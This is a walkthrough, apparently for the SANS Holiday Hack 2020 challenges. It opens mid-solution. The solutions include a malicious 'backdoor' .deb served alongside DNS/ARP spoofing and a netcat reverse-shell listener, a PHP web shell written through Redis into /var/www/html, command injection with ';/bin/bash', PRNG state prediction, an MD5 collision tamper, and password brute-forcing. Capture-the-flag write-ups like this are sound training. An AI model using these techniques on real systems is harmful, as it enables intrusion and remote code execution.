mv suriv_amd64.deb pub/jfrost/backdoor
python3 -m http.server 80
Create 5 tmux panes (Ctrl+B C).
In first tmux pane:
tcpdump -nn -i any
Second tmux pane:
cd scripts
:> dns_resp.py
:> arp_resp.py
vim dns_resp.py
:set paste
(-> on your system: cat dns_resp.py | xclip -sel clip
-> paste dns_resp.py into this file)
:wq!
vim arp_resp.py
:set paste
(-> on your system: cat arp_resp.py | xclip -sel clip
-> paste arp_resp.py into this file)
chmod u+x *.py
cd ..
vim cdb.sh
:set paste
(-> on your system: cat create_deb_malware.sh | xclip -sel clip)
-> paste this into cdb.sh)
:wq!
chmod u+x cdb.sh
./cdb.sh
Third tmux pane:
cd scripts/
./dns_resp.py
Fourth tmux pane:
nc -nlvp 8080
Fifth tmux pane:
cd scripts/
./arp_resp.py
Fourth tmux pane:
A reverse shell should have been created.
python3 -c "import pty; pty.spawn("/bin/bash")'
cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt | less
Video description at https://player.vimeo.com/video/499182451
Solution:
Tanta Kringle
10 - Defeat Fingerprint Sensor
Challenge
Location
Santavator
Possible solution
Set a breakpoint and add token ‘besanta’ to bypass the fingerprint sensor:
Video description at https://player.vimeo.com/video/499151055
11a - Naughty / Nice List with Blockchain Part 1
Challenge
Location
Santa’s Office
Possible solution
This task was similar to the Snowball Fight Terminal challenge to produce the state of the pseudo-random generator from previously known random numbers and then to calculate the next numbers to finally calculate the nonce at block 130000.
cat analyze_nonces.py
import random
from mt19937predictor import MT19937Predictor
foundrands=[]
foundrands_624 = foundrands[-624:]
predictor = MT19937Predictor()
for idx in range(624):
print(foundrands_624[idx])
predictor.setrandbits(foundrands_624[idx],64)
print("last known index: 129996")
print("129997", predictor.getrandbits(64))
print("129998", predictor.getrandbits(64))
print("129999", predictor.getrandbits(64))
print("130000", predictor.getrandbits(64))
foundrands=[]
has to filled with the nonces extracted from the blockchain.
python3 analyze_nonces.py
...
2538543693281192206
15896979806300748684
14120612108965687512
12584682685351616622
9757567714176531656
15788575260498756374
18132891387785279449
5643972521975276755
12288628311000202778
14033042245096512311
9999237799707722025
7556872674124112955
16969683986178983974
last known index: 129996
129997<PHONE_NUMBER>7093879758
129998<PHONE_NUMBER>14328301
129999<PHONE_NUMBER>156166628
130000<PHONE_NUMBER>970332317
At the end you calculate the hex value. The whole thing summarized is then:
If you can’t use an xclip
, you can remove | xclip -sel clip
and copy-paste manually.
var=$(python3 naughty_nice.py);(echo -n "["; for i in $(tail -n +2 <(echo ${var##*Nonces==})); do echo -n "$i"",";done; echo -n "]") | xclip -sel clip
(-> copied var into array of analyze_nonces.py)
python3 analyze_nonces.py | tail -n 1|awk '{print $2}'
echo 'obase=16;;6270808489970332317'|bc
Solution:
57066318F32F729D
11b - Naughty / Nice List with Blockchain Part 2
Challenge
Possible solution
After the function full_hash
add a function full_hash_SHA256
like this so that
you can calculate the SHA256 hashes of the blocks:
...
def full_hash(self):
hash_obj = MD5.new()
hash_obj.update(self.block_data_signed())
return hash_obj.hexdigest()
def full_hash_SHA256(self):
hash_obj = SHA256.new()
hash_obj.update(self.block_data_signed())
return hash_obj.hexdigest()
def hash_n_sign(self):
hash_obj = MD5.new()
...
and print them out:
if __name__ == '__main__':
with open('official_public.pem', 'rb') as fh:
official_public_key = RSA.importKey(fh.read())
c2 = Chain(load=True, filename='blockchain.dat')
for block in c2.blocks:
print(block.index, block.full_hash_SHA256())
Then identify the block using:
python3 naughty_nice.py|grep '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
129459 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f
Save this block in tohash
changing naughty_nice.py
.
if __name__ == '__main__':
with open('official_public.pem', 'rb') as fh:
official_public_key = RSA.importKey(fh.read())
c2 = Chain(load=True, filename='blockchain.dat')
for block in c2.blocks:
if block.index == 129459:
open('tohash', 'wb').write(block.block_data_signed())
python3 naughty_nice.py
Copy tohash
into tohash.old
:
cp tohash tohash.old
Extract all documents in the block - change naughty_nice.py
to:
...
for block in c2.blocks:
if block.index == 129459:
for i in range(block.doc_count):
block.dump_doc(i+1)
...
and execute it
python3 naughty_nice.py
In order to generate the same hash, we are looking for pairs that have been changed by +1 -1 (cf https://speakerdeck.com/ange/colltris?slide=109).
The first byte is in the PDF. Jack Frost has referenced another object so that a different text is displayed.
Using the original text, you can identify that it is also the sign of the Naughtyness / Niceness Score for this Block has changed.
After the recommended talk we know that the other party has to be 64 bytes after the respective change.
Change the bytes in tohash
accordingly and check with
md5sum tohash
whether it has the same hash b10b4a6bd373b61f32f4fd3a0cdfbf84
.
vbindiff tohash tohash.old
If so, calculate the new SHA256 hash from this.
sha256sum tohash
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
Solution:
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
The end of the game
Go back through the picture and then bypass the fingerprint sensor to get to Santa’s office. There go into the back room.
Terminal Challenges
Entry
Unescape tmux
tmux attach
Kringle Kiosk
Enter 4 and then ;/bin/bash
Dining Room
Elf Coder
Level 0
elf.moveTo(lollipop[0])
elf.moveUp(10)
Level 1
elf.moveTo(lever[0])
elf.pull_lever(elf.get_lever(0) + 2)
elf.moveLeft(4)
elf.moveUp(10)
Level 2
lollipop.forEach(function(item) {
elf.moveTo(item)
})
elf.moveUp(1)
Level 3
for (rounds =1; rounds <= 5; rounds++) {
elf.moveLeft(3);
if (rounds % 2 == 1) elf.moveUp(11);
else elf.moveDown(11);
}
Level 4
let numbersOnly = (val) => {
if (typeof(val) == 'number') {
return val;
}
}
numbers = elf.ask_munch(0).filter(numbersOnly);
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
Level 5
let numbersOnly = (val) => {
if (typeof(val) == 'number') {
return val;
}
}
numbers = elf.ask_munch(0).filter(numbersOnly);
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
elf.tell_munch(numbers)
elf.moveUp(2)
Level 6
for (rounds = 0; rounds <= 3; rounds++) {
elf.moveTo(lollipop[rounds])
}
elf.moveTo(lever[0])
arr = elf.get_lever(0)
arr.unshift("munchkins rule")
elf.pull_lever(arr)
elf.moveTo(munchkin[0])
elf.moveUp(2)
Level 7
function fun(arr) {
let amount = 0;
arr.forEach(function(item) {
item.forEach(function(inneritem) {
if (typeof inneritem === "number") amount = amount + inneritem
});
});
return amount
}
for (round = 0; round <= 7; round++) {
if (round % 4 == 0)
elf.moveDown(round + 1)
if (round % 4 == 1)
elf.moveLeft(round + 1)
if (round % 4 == 2)
elf.moveUp(round + 1)
if (round % 4 == 3)
elf.moveRight(round + 1)
elf.pull_lever(round)
}
elf.moveUp(2);elf.moveLeft(4);
elf.tell_munch(fun)
elf.moveUp(2);
Level 8
function getLolKeyFromJson(jsonData) {
returnValue = ""
jsonData.forEach(function(item) {
for (key in item) {
if (item[key] == "lollipop") returnValue = key.toString()
}
})
return returnValue
}
var moveSteps = 1
var leverSum = 0
for (leverNr = 0; leverNr <= 5; leverNr++) {
if ((leverNr % 2) == 0) elf.moveRight(moveSteps)
else elf.moveLeft(moveSteps)
moveSteps = moveSteps + 2
leverSum = leverSum + elf.get_lever(leverNr)
elf.pull_lever(leverSum)
elf.moveUp(2)
}
elf.tell_munch(getLolKeyFromJson)
elf.moveRight(11)
Kitchen
33.6 Kbps
With trial and error:
Nu = Numbers
be = baaDeebrr
WE = WEwwee
SC = SCHHRR
aa = aaah
ba = baaDEERR
x Nu-ba-WE-SC -> Hang up at WE
x Nu-aa-ba-WE-SC -> Hang up at aa
x Nu-ba-aa-WE-SC -> Hang up at SC
At the end
Nu-ba-aa-WE-be-SC
worked
Redis Investigation
Using
alias urlencode
urlencode=$'python3 -c "import sys, urllib.parse as ul; \\\n print (ul.quote_plus(sys.argv[1]))"'
urlencode '"<?php system($_GET['cmd']);?>"'
%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,rce.php
curl http://localhost/maintenance.php?cmd=set,test,%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22
curl http://localhost/maintenance.php?cmd=save
Video description at https://player.vimeo.com/video/499403897
Courtyard
Linux Primer
yes
ls
cat munchkin_19315479765589239
rm munchkin_19315479765589239
pwd
ls -lah
history
env
cd workshop/
grep -i "munch" *.txt
ls loll*
chmod u+x lollipop_engine
./lollipop_engine
cd electrical/
mv blown_fuse0 fuse0
ln -s fuse0 fuse1
cp fuse1 fuse2
echo "MUNCHKIN_REPELLENT" >> fuse2
find /opt/munchkin_den munchkin
find /opt/munchkin_den -user munchkin
find /opt/munchkin_den -size +108k -size -110k
ps -aux
netstat -nltp
curl <IP_ADDRESS>:54321
kill 6086
Video description at https://player.vimeo.com/video/499139051
Workshop
Sort-o-matic Regex Game
To solve this problem go to https://regex101.com/. There are also useful tips for the syntax. For each case enter test data. You can start with a simple and then approach the ultimate regex.
Example last case:
Matches multiple day, month, and year date formats only
Then I started with the test case
10/10/1978
and the regex 10/10/1978
.
Then think about where what numbers can be about a day can be with
So 0
or 1
begin:
(0|1)0\/10\/1978
etc.
\d
[a-zA-Z][a-zA-Z][a-zA-Z]
[a-z0-9][a-z0-9]
[^A-L1-5][^A-L1-5]
^\d{3,}$
^([01]?\d|2[0-3]):([0-5]\d):([0-5]\d)+$
^([0-9A-Fa-f]{2}[:]){5}([0-9A-Fa-f]{2})$
^((0[0-9]|1[0-9]|2[0-9]|3[0-1])[\/\.\-](0[1-9]|1[0-2])[\/\.\-][0-1][0-9][0-9][0-9])$
Video description at https://player.vimeo.com/video/499540767
Talks Lobby
Speaker UNPrep
Door
strings door | grep -C 10 "You look at"
yields to
./door
You look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
Checking......
Door opened!
Solution:
Op3nTheD00r
Lights
Bushy Evergreen gives the hint
What if we set the user name to an encrypted value
and that’s what we do!
cd lab/
vim lights.conf
(-> Change elf-technician to the password one line
-> Save the file)
./lights
(-> Extract the password after "Welcome back,"
-> "Computer-TurnLightsOn")
cd ..
./lights
(-> Enter the password)
Video description at https://player.vimeo.com/video/498993903
Vending machines
If you delete the file vending-machines.json
, then when starting./Vending_machines
a new file is created. This file then contains the newly defined encrypted password.
This can be used for a known plain text attack.
We can now see which encrypted password is created with which plain text entered.
I started by typing A
, which results in an X
.
Then AA
which results in Xi
, B
becomes D
and finally BA
which results in Di
.
From this I concluded that it is a polyalphabetic encryption.
This means that all letters are assigned to different letters for each position in the password.
You can now crack that by trying each letter and comparing it with the actual encrypted password.
HHC:
base64 vending_machines
-> mark (copy does it automatically)
local:
vim paste
-> paste
base64 -d paste > vending_machines
HHC:
env
-> get RESOURCE_ID
local:
-> copy the resource id to your local env
export RESOURCE_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
./brute.sh
cat cracked_pass
cat brute.sh
#! /bin/bash
declare -a arr=("A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z" "0" "1" "2" "3" "4" "5" "6" "7" "8" "9")
rm -f vending-machines.json
rm -r cracked_pass
iterstring="AAAAAAAAAA"
refpassword="LVEdQPpBwr"
for pos in $(seq 0 9); do
for char in "${arr[@]}"; do
if [ $pos -gt 0 ]
then
tocheck="${iterstring:0:$pos}""$char""${iterstring:($pos+1)}"
else
tocheck="$char""${iterstring:1}"
fi
./vending_machines<<EOF
elf-maintenance
$tocheck
EOF
generated_pass=`jq -r '.password' vending-machines.json`
echo -e "\n"$generated_pass
cur_generated_char=${generated_pass:$pos:1}
echo -e $cur_generated_char"\n"
if [ "$cur_generated_char" = "${refpassword:$pos:1}" ]
then
echo -n "$char" >> cracked_pass
rm -f vending-machines.json
break
fi
rm -f vending-machines.json
done
done
Solution:
CandyCane1
Snowball Fight
Start Snowball in the game and in parallel in a separate browser tab using https://snowball2.kringlecastle.com Start in the game with an “Impossible” and in the separate browser tab with an “Easy” session.
Within the source code in the “impossible” session, random numbers are printed in comments. You can use this to determine the random number given to you to play the session, currently printed as (“<Redacted!>”). To do this, you create the state of the Mersenne Twister before calculating the number from the random numbers shown in the comments.
-> Copy out the comment blocks
-> ./createrandarr.sh
-> Set the variable foundrands in mt19937_adapted.py
using paste
and adjust the array to make it work
-> python3 mt19937_adapted.py
: that outputs the searched random number
Now use this number in the “Easy” session until you have solved the game. With this knowledge you can now finish the “Impossible” session.
cat createrandarr.sh
:
#! /bin/bash
comments=$(tail -n +2 <(head -n -2 <(xclip -o -sel clip)))
(echo -n "["; for i in $(echo "$comments"|awk '{print $1}'); do echo -n $i","; done; echo -n "]") | xclip -sel clip
Without xclip
, the data could be manually copied via a file and then transferred from
there and put together to an array.
cat mt19937_adapted.py
:
#!/usr/bin/env python3
foundrands= # to fill
class mt19937():
u, d = 11, 0xFFFFFFFF
s, b = 7, 0x9D2C5680
t, c = 15, 0xEFC60000
l = 18
n = 624
def my_int32(self, x):
return(x & 0xFFFFFFFF)
def __init__(self, seed):
w = 32
r = 31
f =<PHONE_NUMBER>
self.m = 397
self.a = 0x9908B0DF
self.MT = [0] * self.n
self.index = self.n + 1
self.lower_mask = (1 << r) - 1
self.upper_mask = self.my_int32(~self.lower_mask)
self.MT[0] = self.my_int32(seed)
for i in range(1, self.n):
self.MT[i] = self.my_int32((f * (self.MT[i - 1] ^ (self.MT[i - 1] >> (w - 2))) + i))
def extract_number(self):
if self.index >= self.n:
self.twist()
self.index = 0
y = self.MT[self.index]
# this implements the so-called "tempering matrix"
# this, functionally, should alter the output to
# provide a better, higher-dimensional distribution
# of the most significant bits in the numbers extracted
y = y ^ ((y >> self.u) & self.d)
y = y ^ ((y << self.s) & self.b)
y = y ^ ((y << self.t) & self.c)
y = y ^ (y >> self.l)
self.index += 1
return self.my_int32(y)
def twist(self):
for i in range(0, self.n):
x = (self.MT[i] & self.upper_mask) + (self.MT[(i + 1) % self.n] & self.lower_mask)
xA = x >> 1
if(x % 2) != 0:
xA = xA ^ self.a
self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA
def untemper(y):
y ^= y >> mt19937.l
y ^= y << mt19937.t & mt19937.c
for i in range(7):
y ^= y << mt19937.s & mt19937.b
for i in range(3):
y ^= y >> mt19937.u & mt19937.d
return y
if __name__ == "__main__":
# create our own version of an MT19937 PRNG.
myprng = mt19937(0)
# clone that sucker...
print("Generating %i random numbers.\nWe'll use those values to create a clone of the current state of Python's built-in PRNG..." % (mt19937.n))
for i in range(mt19937.n):
myprng.MT[i] = untemper(foundrands[i])
print(myprng.extract_number())
print(myprng.MT[0])
Video description at https://player.vimeo.com/video/499011316
Netwars
Scapy Prepper
Task 0
yes
Task 1
Welcome to the “Present Packet Prepper” interface! The North Pole could use your help prep aring present packets for shipment. Start by running the task.submit() function passing in a string argument of ‘start’. Type task.help() for help on this question.
task.submit("start")
Task 2
Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
task.submit(send)
Task 3
Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.
task.submit(sniff)
Task 4
Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named “pkt”:
- pkt = sr1(IP(dst=”<IP_ADDRESS>”)/TCP(dport=20))
- pkt = sniff(IP(dst=”<IP_ADDRESS>”)/TCP(dport=20))
- pkt = sendp(IP(dst=”<IP_ADDRESS>”)/TCP(dport=20))
task.submit(1)
Task 5
Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.
task.submit(rdpcap)
Task 6
The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
- UDP_PACKETS.print()
- UDP_PACKETS.show()
- UDP_PACKETS.list()
task.submit(2)
Task 7
Submit only the first packet found in UDP_PACKETS.
task.submit(UDP_PACKETS[0])
Task 8
Submit only the entire TCP layer of the second packet in TCP_PACKETS.
pkt = TCP_PACKETS[1]
task.submit(pkt[TCP])
Task 9
Change the source IP address of the first packet found in UDP_PACKETS to <IP_ADDRESS> and then submit this modified packet
pkt = UDP_PACKETS[0]
pkt[IP].dst = "<IP_ADDRESS>"
task.submit(pkt)
Task 10
Submit the password “task.submit(‘elf_password’)” of the user alabaster as found in the packet list TCP_PACKETS.
>>> TCP_PACKETS[3][Raw].load
b'220 North Pole FTP Server\r\n'
>>> TCP_PACKETS[4][Raw].load
b'USER alabaster\r'
>>> TCP_PACKETS[5][Raw].load
b'331 Password required for alabaster.\r'
>>> TCP_PACKETS[6][Raw].load
b'PASS echo\r\n'
>>> TCP_PACKETS[7][Raw].load
b'230 User alabaster logged in.\r'
([pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt] would be easier)
task.submit("echo")
Task 11
The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
task.submit(ICMP_PACKETS[1][ICMP].chksum)
Task 12
Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of <IP_ADDRESS> stored in the variable named “pkt”
- pkt = Ether(src=’<IP_ADDRESS>’)/ICMP(type=”echo-request”)
- pkt = IP(src=’<IP_ADDRESS>’)/ICMP(type=”echo-reply”)
- pkt = IP(dst=’<IP_ADDRESS>’)/ICMP(type=”echo-request”)
task.submit(3)
Task 13
Create and then submit a UDP packet with a dport of 5000 and a dst IP of <IP_ADDRESS>. (all other packet attributes can be unspecified)
pkt = Ether()/IP(dst='<IP_ADDRESS>')/UDP(dport=5000)
task.submit(pkt)
Task 14
Create and then submit a UDP packet with a dport of 53, a dst IP of <IP_ADDRESS>, and is a DNS query with a qname of “elveslove.santa”. (all other packet attributes can be unspecified)
pkt = IP(dst='<IP_ADDRESS>')/UDP(dport=53)/DNS(qd=DNSQR(qname='elveslove.santa'))
task.submit(pkt)
Task 15
The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.
>>> ARP_PACKETS[Ether][0]
<Ether dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=<IP_ADDRESS> hwdst=00:00:00:00:00:00 pdst=<IP_ADDRESS> |>>
Get the hwsrc from the Ether part of 1,
set op=2 for "is-at"
set hwdst to mac of asking ip
so this becomes to:
<IP_ADDRESS> is at 00:13:46:0b:22:ba
>>> ARP_PACKETS[Ether][1]
<Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=<IP_ADDRESS> hwdst=ff:ff:ff:ff:ff:ff pdst=<IP_ADDRESS> |<Padding load='\xc0\xa8\x00r' |>>>
ARP_PACKETS[1].op=2
ARP_PACKETS[1].hwdst='00:16:ce:6e:8b:24'
ARP_PACKETS[1].hwsrc='00:13:46:0b:22:ba'
task.submit(ARP_PACKETS)
CAN-Bus Investigation
To find the unlock signal, look at candump.log
.
There are 3 different ID codes. A code is available 3 times just like mentioned in the description (lock-unlock-lock).
cut -b 27-29 candump.log | sort | uniq -c
35 188
3 19B
1331 244
Analyze the values of this ID code to find the timestamp:
grep -E '^.*vcan0\s(19B).*$' candump.log
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000
./runanswer -> 122520
Video description at https://player.vimeo.com/video/498981563
Solution:
122520